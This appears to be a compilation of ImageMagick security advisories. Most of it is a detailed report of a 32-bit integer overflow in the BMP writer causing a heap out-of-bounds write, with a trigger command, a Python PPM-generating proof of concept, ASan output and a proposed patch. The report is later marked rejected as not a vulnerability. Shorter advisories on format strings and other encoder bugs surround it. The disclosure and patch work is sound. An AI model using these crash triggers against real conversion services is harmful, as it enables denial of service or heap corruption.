1. Input Validation: Add format string validation in InterpretImageFilename to reject filenames containing format specifiers (%n, %s, %x, etc.) before passing to FormatLocaleString 2. Safe Parsing: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to FormatLocaleString <br>

Credits Team Daemon Fuzz Hunters Bug Hunting Master Program, HSpace/Findthegap <br>

Woojin Park @jin-156 1203kids@gmail.com

Hojun Lee @leehohojune leehojune@korea.ac.kr

Youngin Won @amethyst0225 youngin04@korea.ac.kr

Siyeon Han @hanbunny kokosyeon@gmail.com

Additional notes from the ImageMagick team:

On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, FORTIFYSOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation:

To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive:

- In wrappers: filename:literal - From the command line: -define filename:literal=true

Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytesperline (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

- Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP. - Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers. - 32-bit: Vulnerable (reproduced with ASan). - 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

---

Scope & Affected Builds

- Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c). - Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7 - Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712 - Architecture: 32-bit i686 (sizeof(sizet) == 4) with ASan/UBSan. - Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.

---

Root Cause (with code anchors)

Stride computation (writer)

c bytesperline = 4 ((image->columns bmpinfo.bitsperpixel + 31) / 32);

Per-row base and 24-bpp loop (writer)

c q = pixels + ((ssizet)image->rows - y - 1) (ssizet)bytesperline; for (x = 0; x < (ssizet)image->columns; x++) { q++ = B(...); q++ = G(...); q++ = R(...); // writes 3 width bytes }

Allocation (writer)

c pixelinfo = AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns + 256UL) sizeof(pixels)); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);

Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INTMAX on 32-bit, so the caps do not prevent the bug.

---

Integer-Overflow Analysis (32-bit sizet)

Stride formula for 24-bpp:

bytesperline = 4 ((width 24 + 31) / 32)

There are two independent overflow hazards on 32-bit:

1. Stage-1 multiply+add in (width 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytesperline. 2. Stage-2 final ×4 after the division Let q = (width 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).

Both thresholds are below INTMAX (≈2.147e9), so “int caps” don’t help.

Mismatch predicate (guaranteed OOB when overflowed): Per-row write for 24-bpp is rowbytes = 3width. Safety requires rowbytes ≤ bytesperline. Under either overflow, bytesperline collapses → 3width > bytesperline holds → OOB-write.

---

Concrete Demonstration

Chosen width: W = 178,957,200 (just over Stage-1 bound)

- Stage-1: 24W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535 - Divide by 32: 5535 / 32 = 172 - Multiply by 4: bytesperline = 172 4 = 688 bytes ← tiny stride - Per-row data (24-bpp): rowbytes = 3W = 536,871,600 bytes - Allocation used: MagickMax(688, W+256) = 178,957,456 bytes - Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. ---

Observed Result (ASan excerpt)

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092

- Binary: ELF 32-bit i386, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)

---

Exploitability & Risk

- Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - Likely deployment: Server-side, non-interactive conversion pipelines (UI:N). - Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.

Note on 64-bit: Without integer overflow, bytesperline = 4 ceil((3width)/4) ≥ 3width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

Reproduction (copy-paste triager script)

Test Environment:

- docker run -it --rm --platform linux/386 debian:11 bash - Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3 - Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f... - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

bash ./configure \ --host=i686-pc-linux-gnu \ --build=x8664-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)" - Runtime limits to exercise writer:

bash export MAGICKWIDTHLIMIT=200000000 export MAGICKHEIGHTLIMIT=200000000 export MAGICKTEMPORARYPATH=/tmp export TMPDIR=/tmp export ASANOPTIONS="detectleaks=0:malloccontextsize=20:allocdeallocmismatch=0"

One-liner trigger (no input file):

bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null

Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).

Alternate PoC (raw PPM generator):

python #!/usr/bin/env python3 W, H, MAXV = 180000000, 1, 255 W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") (10241024) remaining = 3 W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n Then: magick huge.ppm out.bmp

---

Proposed Severity

- Primary vector (server auto-convert): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Critical - If strictly CLI/manual conversion: UI:R → 8.8 High

---

Maintainer Pushbacks — Pre-empted

- “MagickMax makes allocation large.” The row base advances by overflowed bytesperline, causing row overlap and eventual region exit regardless of total allocation size. - “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct. ---

Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (rowbytes) always fits within the computed stride (bytesperline). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

- Validate width and bitsperpixel before the stride formula to ensure (widthbpp + 31) cannot overflow a sizet. - Compute rowbytes for the chosen bpp and assert rowbytes <= bytesperline. - Bound rows stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

---

Regression Tests to Include (PR-friendly)

1. 32-bit overflow repros (with ASan): - rows=1, width ≥ 178,956,970, bpp=24 → now cleanly errors. - rows=2, same bound → no row overlap; clean error. 2. 64-bit sanity: Medium images (e.g., 8192×4096, 24-bpp) round-trip; header’s biSizeImage = rows bytesperline. 3. Packed bpp (1/4/8): Validate rowbytes = (widthbpp+7)/8 (guarded), 4-pad, and payload ≤ stride holds.

---

Attachments (private BMPPackage) Provided with report: README.md, pocppmgenerator.py, reprocommands.sh, fullasanbmpcrash.txt, appendixapatchblock.c. (Private gist link with package provided separately.)

---

Disclosure & Coordination

- Reporter: Lumina Mescuwa - Tested on: i686 Linux container (details in Repro) - Timeline: August 19th, 2025

---

Appendices

Appendix A — Patch block tailored to  bmp.c

Where this hooks in (current code):

- Stride is computed here: bytesperline=4((image->columnsbmpinfo.bitsperpixel+31)/32); - Header uses bmpinfo.imagesize=(unsigned int) (bytesperlineimage->rows); - Allocation uses AcquireVirtualMemory(image->rows, MagickMax(bytesperline, image->columns+256UL)sizeof(pixels)); - 24-bpp row loop writes pixels then zero-pads up to bytesperline (so the per-row slot size matters): for (x=3L(ssizet)image->columns; x < (ssizet)bytesperline; x++) q++=0x00;

---

Suggested Patch (minimal surface, guards + invariant)

I recommend this in place of the existing bytesperline assignment and the subsequent bmpinfo.imagesize / allocation block. Keep your macros and local variables as-is.

c / --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- /

/ 1) Guard the original stride arithmetic (preserve behavior, add checks). / if (bmpinfo.bitsperpixel == 0 || (sizet)image->columns > (SIZEMAX - 31) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

sizet tmp = (sizet)image->columns (sizet)bmpinfo.bitsperpixel + 31; / Divide first; then check the final ×4 won't overflow. / tmp /= 32; if (tmp > (SIZEMAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytesperline = 4 tmp; / same formula as before, now checked /

/ 2) Compute the actual data bytes written per row for the chosen bpp. / sizet rowbytes; if (bmpinfo.bitsperpixel == 1 || bmpinfo.bitsperpixel == 4 || bmpinfo.bitsperpixel == 8) { / packed: ceil(widthbpp/8) / if ((sizet)image->columns > (SIZEMAX - 7) / (sizet)bmpinfo.bitsperpixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = (((sizet)image->columns (sizet)bmpinfo.bitsperpixel) + 7) >> 3; } else { / 16/24/32 bpp: (bpp/8) width / sizet bppbytes = (sizet)bmpinfo.bitsperpixel / 8; if (bppbytes == 0 || (sizet)image->columns > SIZEMAX / bppbytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); rowbytes = bppbytes (sizet)image->columns; }

/ 3) Per-row safety invariant: the payload must fit the stride. / if (rowbytes > bytesperline) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/ 4) Guard header size and allocation products. / if ((sizet)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/ biSizeImage = rows bytesperline (DIB field is 32-bit) / if (bytesperline > 0xFFFFFFFFu / (sizet)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmpinfo.imagesize = (unsigned int)(bytesperline (sizet)image->rows);

/ Allocation count = rows strideused, with existing MagickMax policy. / sizet stride = MagickMax(bytesperline, (sizet)image->columns + 256UL); if (stride > SIZEMAX / (sizet)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixelinfo = AcquireVirtualMemory((sizet)image->rows, stride sizeof(pixels)); if (pixelinfo == (MemoryInfo ) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char ) GetVirtualMemoryBlob(pixelinfo);

/ Optional: keep zeroing aligned to computed header size. / (void) memset(pixels, 0, (sizet) bmpinfo.imagesize);

/ --- PATCH END --- /

Why this is the right spot?

- It replaces the unguarded stride line you currently have, without changing the algorithm (still 4((Wbpp+31)/32)).  - It fixes the header (biSizeImage) to be a checked product, instead of a potentially wrapped multiplication.  - It guards allocation where you presently allocate rows × MagickMax(bytesperline, columns+256).  - The invariant rowbytes ≤ bytesperline ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to bytesperline) can never exceed the per-row slot the code relies on.

---

Notes

- Behavior preserved: The stride value for normal images is unchanged; only pathological integer states are rejected.  - Header consistency: biSizeImage = rows bytesperline remains true by construction, but now cannot overflow a 32-bit DIB field.  - Defensive alignment: If you prefer, you can compute bytesperline as ((rowbytes + 3) & ~3U); it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.

A slightly larger “helpers” variant (with safemulsize / safeaddsize utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.

Appendix B — Arithmetic Worked Example (W=178,957,200)

- (24W + 31) mod 2^32 = 5535 - bytesperline = 4 (5535/32) = 688 - rowbytes (24-bpp) = 536,871,600 - Allocation via MagickMax = 178,957,456 → immediate row 0 out-of-bounds.

Appendix C — Raw ASan Log (trimmed)

================================================================= ==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 at 0x6eaac490 thread T0 #0 0xed2788 in WriteBMPImage coders/bmp.c:2309 #1 0x13da32c in WriteImage MagickCore/constitute.c:1342 #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564 0x6eaac490 is located 0 bytes to the right of 178957456-byte region allocated by thread T0 here: #0 0x408e30ab in interceptorposixmemalign #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747 #2 0xecd597 in WriteBMPImage coders/bmp.c:2092

Rejected reason: Further research determined the issue is not a vulnerability.

ImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 contains an XML injection vulnerability in the CIP encoder, which does not properly escape input-derived data when writing Cisco IP Phone XML output. Attackers can supply a crafted file that, when converted to CIP format, injects arbitrary markup into the generated XML.

ImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 contains a use after free vulnerability in the PDF writer when writing CMYK images with JPEG2000 compression. Attackers can supply a crafted CMYK image that, when written to PDF with JPEG2000 compression, causes freed memory to be reused, potentially crashing the process.

ImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 contains a memory leak in the GIF encoder because allocated memory is not released when color quantization fails during encoding. Attackers can supply images whose GIF conversion causes quantization to fail, leaking memory with each attempt and degrading availability.

ImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 contains a memory leak in the YUV encoder, which fails to release allocated memory when a specific operation fails. Attackers can supply crafted input that triggers the failing encoder operation, leaking memory and potentially exhausting resources to cause a denial of service.

ImageMagick before 6.9.13-57 and 7.x before 7.1.2-32 contains a memory leak in the SVG encoder (WriteSVGImage) that fails to release allocated memory when handling crafted images. Attackers can supply crafted image files that are processed by the SVG encoder to leak memory and cause a denial of service through resource consumption.